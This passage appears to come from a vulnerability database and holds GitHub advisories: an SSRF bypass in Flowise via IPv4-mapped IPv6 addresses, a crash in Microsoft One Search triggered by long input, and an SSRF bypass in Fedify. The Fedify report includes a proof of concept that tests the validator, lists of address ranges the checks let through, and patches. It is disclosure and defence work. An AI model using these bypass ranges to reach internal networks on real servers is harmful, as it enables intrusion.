addresses\n \u0027::ffff:127.0.0.1/128\u0027, // Explicit loopback mapped\n \u0027::ffff:169.254.0.0/112\u0027, // Explicit link-local mapped \n \u0027::ffff:10.0.0.0/104\u0027, // Explicit RFC1918 Class A mapped\n \u0027::ffff:172.16.0.0/108\u0027, // Explicit RFC1918 Class B mapped\n \u0027::ffff:192.168.0.0/112\u0027, // Explicit RFC1918 Class C mapped\n];\n```\n\n### Option 3: Also normalize in `resolveAndValidate()` (Belt and suspenders)\n\n```typescript\nasync function resolveAndValidate(url: string): Promise\u003cResolvedTarget\u003e {\n // ... existing code ...\n const records = await dns.lookup(hostname, { all: true });\n for (const r of records) {\n let address = r.address;\n // Normalize IPv4-mapped IPv6 for deny list checking\n if (ipaddr.isValid(address)) {\n const parsed = ipaddr.parse(address);\n if (parsed.kind() === \u0027ipv6\u0027 \u0026\u0026 parsed.isIPv4MappedAddress()) {\n address = parsed.toIPv4Address().toString();\n }\n }\n isDeniedIP(address, denyList);\n }\n // ... rest of code ...\n}\n```",
"id": "GHSA-c6xh-wv4j-ppv5",
"modified": "2026-08-04T15:51:59Z",
"published": "2026-08-04T15:51:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-c6xh-wv4j-ppv5"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6431"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/0fc769208395641c1411ccdb9c81416e54802155"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses"
}
GHSA-C84P-GR27-9C8H
Vulnerability from github – Published: 2026-04-04 15:30 – Updated: 2026-04-04 21:30
VLAI
Details
Microsoft One Search 1.1.0.0 contains a denial of service vulnerability that allows local attackers to crash the application by submitting excessively long input strings to the search functionality. Attackers can paste a buffer of 950 or more characters into the search bar to trigger an unhandled exception that crashes the application.
Severity
6.2 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-25242"
],
"database_specific": {
"cwe_ids": [
"CWE-1389"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-04T14:16:19Z",
"severity": "MODERATE"
},
"details": "Microsoft One Search 1.1.0.0 contains a denial of service vulnerability that allows local attackers to crash the application by submitting excessively long input strings to the search functionality. Attackers can paste a buffer of 950 or more characters into the search bar to trigger an unhandled exception that crashes the application.",
"id": "GHSA-c84p-gr27-9c8h",
"modified": "2026-04-04T21:30:26Z",
"published": "2026-04-04T15:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25242"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46195"
},
{
"type": "WEB",
"url": "https://www.microsoft.com/store/productId/9PMR5QNS5LTL"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/microsoft-one-search-denial-of-service"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/one-search-denial-of-service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XW9Q-2MV6-9FR8
Vulnerability from github – Published: 2026-07-14 18:15 – Updated: 2026-07-14 18:15
VLAI
Summary
Fedify has an incomplete SSRF mitigation after GHSA-p9cg-vqcc-grcx: validatePublicUrl allows special-use IPv4 ranges
Details
Summary
Fedify previously addressed SSRF/internal network access in GHSA-p9cg-vqcc-grcx by adding public URL validation before runtime document and media fetching. However, the current IPv4 validation logic appears incomplete.
The validatePublicUrl() protection relies on isValidPublicIPv4Address() to reject non-public IPv4 destinations. The function blocks common private and local ranges such as 10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, and 192.168.0.0/16, but it still treats several special-use, reserved, multicast, benchmarking, and carrier-grade NAT IPv4 ranges as valid public destinations.
Because this validation is used as an SSRF defense before outbound fetches, this appears to be an incomplete mitigation or bypass class for the previous SSRF issue.
I tested this against the current repository code at unreleased version 2.3.0. I used >=0.11.2, <=2.2.3 as the suspected affected range because 0.11.2 is listed as a patched version for GHSA-p9cg-vqcc-grcx, and this report concerns the post-fix validation logic. Maintainers may adjust the exact affected range.
Why this is not a duplicate of GHSA-p9cg-vqcc-grcx
GHSA-p9cg-vqcc-grcx covered the original behavior where Fedify fetched ActivityPub object, activity, document, and media URLs without first ensuring that the resolved destination was public.
This report is about the post-fix validation logic. The current mitigation now performs public URL/IP validation, but the IPv4 classification is incomplete and still treats several special-use ranges as public. Therefore, this is a potential incomplete fix/bypass of the previous SSRF mitigation rather than a re-report of the original issue.
The affected behavior appears to exist in the patched/current code path, not only in versions listed as vulnerable in the original advisory.
Affected Code
Affected file:
packages/vocab-runtime/src/url.ts
Current IPv4 validation logic:
export function isValidPublicIPv4Address(address: string): boolean {
const parts = address.split(".");
const first = parseInt(parts[0]);
if (first === 0 || first === 10 || first === 127) return false;
const second = parseInt(parts[1]);
if (first === 169 && second === 254) return false;
if (first === 172 && second >= 16 && second <= 31) return false;
if (first === 192 && second === 168) return false;
return true;
}
The important point is that the bypass exists in the mitigation logic itself: the function responsible for deciding whether a destination is public returns true for address ranges that are not globally routable public internet destinations.
Proof of Concept
I reproduced the IPv4 validation behavior using the same logic:
function isValidPublicIPv4Address(address) {
const parts = address.split(".");
const first = parseInt(parts[0], 10);
if (first === 0 || first === 10 || first === 127) return false;
const second = parseInt(parts[1], 10);
if (first === 169 && second === 254) return false;
if (first === 172 && second >= 16 && second <= 31) return false;
if (first === 192 && second === 168) return false;
return true;
}
const tests = [
"8.8.8.8",
"127.0.0.1",
"10.0.0.1",
"192.168.1.1",
"169.254.169.254",
"100.64.0.1",
"198.18.0.1",
"224.0.0.1",
"240.0.0.1",
"192.0.0.1",
"192.0.2.1",
"198.51.100.1",
"203.0.113.1"
];
for (const ip of tests) {
console.log(ip + " => " + isValidPublicIPv4Address(ip));
}
Observed output:
8.8.8.8 => true
127.0.0.1 => false
10.0.0.1 => false
192.168.1.1 => false
169.254.169.254 => false
100.64.0.1 => true
198.18.0.1 => true
224.0.0.1 => true
240.0.0.1 => true
192.0.0.1 => true
192.0.2.1 => true
198.51.100.1 => true
203.0.113.1 => true
The validator correctly blocks some common private and local ranges, but incorrectly allows multiple special-use ranges.
Examples of incorrectly allowed ranges
Important examples include:
100.64.0.0/10 Carrier-grade NAT
198.18.0.0/15 Benchmarking / internal testing networks
224.0.0.0/4 Multicast
240.0.0.0/4 Reserved
192.0.0.0/24 IETF protocol assignments
Additional correctness examples:
192.0.2.0/24 Documentation range
198.51.100.0/24 Documentation range
203.0.113.0/24 Documentation range
Security Impact
Any Fedify feature that accepts or processes remote ActivityPub object, activity, document, or media URLs and relies on validatePublicUrl() as an SSRF protection boundary may incorrectly allow outbound requests to special-use IPv4 destinations that should not be treated as public internet resources.
This may allow an attacker-controlled ActivityPub object or media URL to cause a Fedify server to initiate requests to non-public or special-use network ranges, depending on the deployment environment and network routing.
This is best understood as an incomplete fix/bypass class for the previous SSRF/internal-network-access advisory GHSA-p9cg-vqcc-grcx.
Suggested Fix
Avoid using a small manual denylist for public IP validation. Instead, validate that the resolved address is globally routable/public.
At minimum, IPv4 validation should reject all relevant special-use ranges, including:
0.0.0.0/8
10.0.0.0/8
100.64.0.0/10
127.0.0.0/8
169.254.0.0/16
172.16.0.0/12
192.0.0.0/24
192.0.2.0/24
192.168.0.0/16
198.18.0.0/15
198.51.100.0/24
203.0.113.0/24
224.0.0.0/4
240.0.0.0/4
A safer long-term fix would be to use a maintained IP address classification library that explicitly supports security-sensitive public/global IP validation.
Patch Idea
export function isValidPublicIPv4Address(address: string): boolean {
const parts = address.split(".").map((part) => parseInt(part, 10));
if (
parts.length !== 4 ||
parts.some((part) => Number.isNaN(part) || part < 0 || part > 255)
) {
return false;
}
const [a, b] = parts;
if (a === 0) return false;
if (a === 10) return false;
if (a === 100 && b >= 64 && b <= 127) return false;
if (a === 127) return false;
if (a === 169 && b === 254) return false;
if (a === 172 && b >= 16 && b <= 31) return false;
if (a === 192 && b === 0) return false;
if (a === 192 && b === 168) return false;
if (a === 198 && (b === 18 || b === 19)) return false;
if (a === 198 && b === 51) return false;
if (a === 203 && b === 0) return false;
if (a >= 224) return false;
return true;
}
Advisory Classification Note
I understand this may be classified either as a new advisory or as an update/incomplete fix for GHSA-p9cg-vqcc-grcx. Since the issue appears to affect the validation logic added after the original SSRF fix, and because the affected code is part of the current security boundary for outbound URL fetching, I wanted to report it privately for maintainer review.
Disclosure Note
This report does not attempt to access any real internal network service. The proof focuses on the validation decision itself: multiple non-public or special-use IPv4 ranges are accepted as public by the current SSRF protection logic.
Researcher
Reported by Chaitanya Garware.
Severity
8.6 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "0.11.2"
},
{
"fixed": "1.9.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.10.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/vocab-runtime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/vocab-runtime"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/vocab-runtime"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50131"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-1389",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T18:15:25Z",
"nvd_published_at": "2026-06-10T22:17:01Z",
"severity": "HIGH"
},
"details": "### Summary\n\nFedify previously addressed SSRF/internal network access in GHSA-p9cg-vqcc-grcx by adding public URL validation before runtime document and media fetching. However, the current IPv4 validation logic appears incomplete.\n\nThe `validatePublicUrl()` protection relies on `isValidPublicIPv4Address()` to reject non-public IPv4 destinations. The function blocks common private and local ranges such as `10.0.0.0/8`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, and `192.168.0.0/16`, but it still treats several special-use, reserved, multicast, benchmarking, and carrier-grade NAT IPv4 ranges as valid public destinations.\n\nBecause this validation is used as an SSRF defense before outbound fetches, this appears to be an incomplete mitigation or bypass class for the previous SSRF issue.\n\nI tested this against the current repository code at unreleased version 2.3.0. I used `\u003e=0.11.2, \u003c=2.2.3` as the suspected affected range because 0.11.2 is listed as a patched version for GHSA-p9cg-vqcc-grcx, and this report concerns the post-fix validation logic. Maintainers may adjust the exact affected range.\n\n### Why this is not a duplicate of GHSA-p9cg-vqcc-grcx\n\nGHSA-p9cg-vqcc-grcx covered the original behavior where Fedify fetched ActivityPub object, activity, document, and media URLs without first ensuring that the resolved destination was public.\n\nThis report is about the post-fix validation logic. The current mitigation now performs public URL/IP validation, but the IPv4 classification is incomplete and still treats several special-use ranges as public. Therefore, this is a potential incomplete fix/bypass of the previous SSRF mitigation rather than a re-report of the original issue.\n\nThe affected behavior appears to exist in the patched/current code path, not only in versions listed as vulnerable in the original advisory.\n\n### Affected Code\n\nAffected file:\n\n`packages/vocab-runtime/src/url.ts`\n\nCurrent IPv4 validation logic:\n\n```ts\nexport function isValidPublicIPv4Address(address: string): boolean {\n const parts = address.split(\".\");\n const first = parseInt(parts[0]);\n if (first === 0 || first === 10 || first === 127) return false;\n const second = parseInt(parts[1]);\n if (first === 169 \u0026\u0026 second === 254) return false;\n if (first === 172 \u0026\u0026 second \u003e= 16 \u0026\u0026 second \u003c= 31) return false;\n if (first === 192 \u0026\u0026 second === 168) return false;\n return true;\n}\n```\n\nThe important point is that the bypass exists in the mitigation logic itself: the function responsible for deciding whether a destination is public returns true for address ranges that are not globally routable public internet destinations.\n\n### Proof of Concept\n\nI reproduced the IPv4 validation behavior using the same logic:\n\n```ts\nfunction isValidPublicIPv4Address(address) {\n const parts = address.split(\".\");\n const first = parseInt(parts[0], 10);\n if (first === 0 || first === 10 || first === 127) return false;\n\n const second = parseInt(parts[1], 10);\n if (first === 169 \u0026\u0026 second === 254) return false;\n if (first === 172 \u0026\u0026 second \u003e= 16 \u0026\u0026 second \u003c= 31) return false;\n if (first === 192 \u0026\u0026 second === 168) return false;\n\n return true;\n}\n\nconst tests = [\n \"8.8.8.8\",\n \"127.0.0.1\",\n \"10.0.0.1\",\n \"192.168.1.1\",\n \"169.254.169.254\",\n \"100.64.0.1\",\n \"198.18.0.1\",\n \"224.0.0.1\",\n \"240.0.0.1\",\n \"192.0.0.1\",\n \"192.0.2.1\",\n \"198.51.100.1\",\n \"203.0.113.1\"\n];\n\nfor (const ip of tests) {\n console.log(ip + \" =\u003e \" + isValidPublicIPv4Address(ip));\n}\n```\n\nObserved output:\n\n```\n8.8.8.8 =\u003e true\n127.0.0.1 =\u003e false\n10.0.0.1 =\u003e false\n192.168.1.1 =\u003e false\n169.254.169.254 =\u003e false\n100.64.0.1 =\u003e true\n198.18.0.1 =\u003e true\n224.0.0.1 =\u003e true\n240.0.0.1 =\u003e true\n192.0.0.1 =\u003e true\n192.0.2.1 =\u003e true\n198.51.100.1 =\u003e true\n203.0.113.1 =\u003e true\n```\n\nThe validator correctly blocks some common private and local ranges, but incorrectly allows multiple special-use ranges.\n\n### Examples of incorrectly allowed ranges\n\nImportant examples include:\n\n```\n100.64.0.0/10 Carrier-grade NAT\n198.18.0.0/15 Benchmarking / internal testing networks\n224.0.0.0/4 Multicast\n240.0.0.0/4 Reserved\n192.0.0.0/24 IETF protocol assignments\n```\n\nAdditional correctness examples:\n\n```\n192.0.2.0/24 Documentation range\n198.51.100.0/24 Documentation range\n203.0.113.0/24 Documentation range\n```\n\n## Security Impact\n\nAny Fedify feature that accepts or processes remote ActivityPub object, activity, document, or media URLs and relies on validatePublicUrl() as an SSRF protection boundary may incorrectly allow outbound requests to special-use IPv4 destinations that should not be treated as public internet resources.\n\nThis may allow an attacker-controlled ActivityPub object or media URL to cause a Fedify server to initiate requests to non-public or special-use network ranges, depending on the deployment environment and network routing.\n\nThis is best understood as an incomplete fix/bypass class for the previous SSRF/internal-network-access advisory GHSA-p9cg-vqcc-grcx.\n\n## Suggested Fix\n\nAvoid using a small manual denylist for public IP validation. Instead, validate that the resolved address is globally routable/public.\n\nAt minimum, IPv4 validation should reject all relevant special-use ranges, including:\n\n```\n0.0.0.0/8\n10.0.0.0/8\n100.64.0.0/10\n127.0.0.0/8\n169.254.0.0/16\n172.16.0.0/12\n192.0.0.0/24\n192.0.2.0/24\n192.168.0.0/16\n198.18.0.0/15\n198.51.100.0/24\n203.0.113.0/24\n224.0.0.0/4\n240.0.0.0/4\n```\n\nA safer long-term fix would be to use a maintained IP address classification library that explicitly supports security-sensitive public/global IP validation.\n\nPatch Idea\n\n```ts\nexport function isValidPublicIPv4Address(address: string): boolean {\n const parts = address.split(\".\").map((part) =\u003e parseInt(part, 10));\n\n if (\n parts.length !== 4 ||\n parts.some((part) =\u003e Number.isNaN(part) || part \u003c 0 || part \u003e 255)\n ) {\n return false;\n }\n\n const [a, b] = parts;\n\n if (a === 0) return false;\n if (a === 10) return false;\n if (a === 100 \u0026\u0026 b \u003e= 64 \u0026\u0026 b \u003c= 127) return false;\n if (a === 127) return false;\n if (a === 169 \u0026\u0026 b === 254) return false;\n if (a === 172 \u0026\u0026 b \u003e= 16 \u0026\u0026 b \u003c= 31) return false;\n if (a === 192 \u0026\u0026 b === 0) return false;\n if (a === 192 \u0026\u0026 b === 168) return false;\n if (a === 198 \u0026\u0026 (b === 18 || b === 19)) return false;\n if (a === 198 \u0026\u0026 b === 51) return false;\n if (a === 203 \u0026\u0026 b === 0) return false;\n if (a \u003e= 224) return false;\n\n return true;\n}\n```\n\n\n## Advisory Classification Note\n\nI understand this may be classified either as a new advisory or as an update/incomplete fix for GHSA-p9cg-vqcc-grcx. Since the issue appears to affect the validation logic added after the original SSRF fix, and because the affected code is part of the current security boundary for outbound URL fetching, I wanted to report it privately for maintainer review.\n\n## Disclosure Note\n\nThis report does not attempt to access any real internal network service. The proof focuses on the validation decision itself: multiple non-public or special-use IPv4 ranges are accepted as public by the current SSRF protection logic.\n\n\n\n## Researcher\n\nReported by Chaitanya Garware.",
"id": "GHSA-xw9q-2mv6-9fr8",
"modified": "2026-07-14T18:15:25Z",
"published": "2026-07-14T18:15:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-xw9q-2mv6-9fr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50131"
},
{
"type": "PACKAGE",
"url": "https://github.com/fedify-dev/fedify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Fedify has an incomplete SSRF mitigation after GHSA-p9cg-vqcc-grcx: validatePublicUrl allows special-use IPv4 ranges"
}
Mitigation
Implementation
Strategy: Enforcement by Conversion
If only decimal-based values are expected in the application, conditional checks should be created in a way that prevent octal or hexadecimal strings from being checked. This can be achieved by converting any numerical string to an explicit base-10 integer prior to the conditional check, to prevent octal or hex values from ever being checked against the condition.
Mitigation
Implementation
Strategy: Input Validation
If various numerical bases do need to be supported, check for leading values indicating the non-decimal base you wish to support (such as 0x for hex) and convert the numeric strings to integers of the respective base. Reject any other alternative-base string that is not intentionally supported by the application.
Mitigation
Implementation
Strategy: Input Validation
If regular expressions are used to validate IP addresses, ensure that they are bounded using ^ and $ to prevent base-prepended IP addresses from being matched.
No CAPEC attack patterns related to this CWE.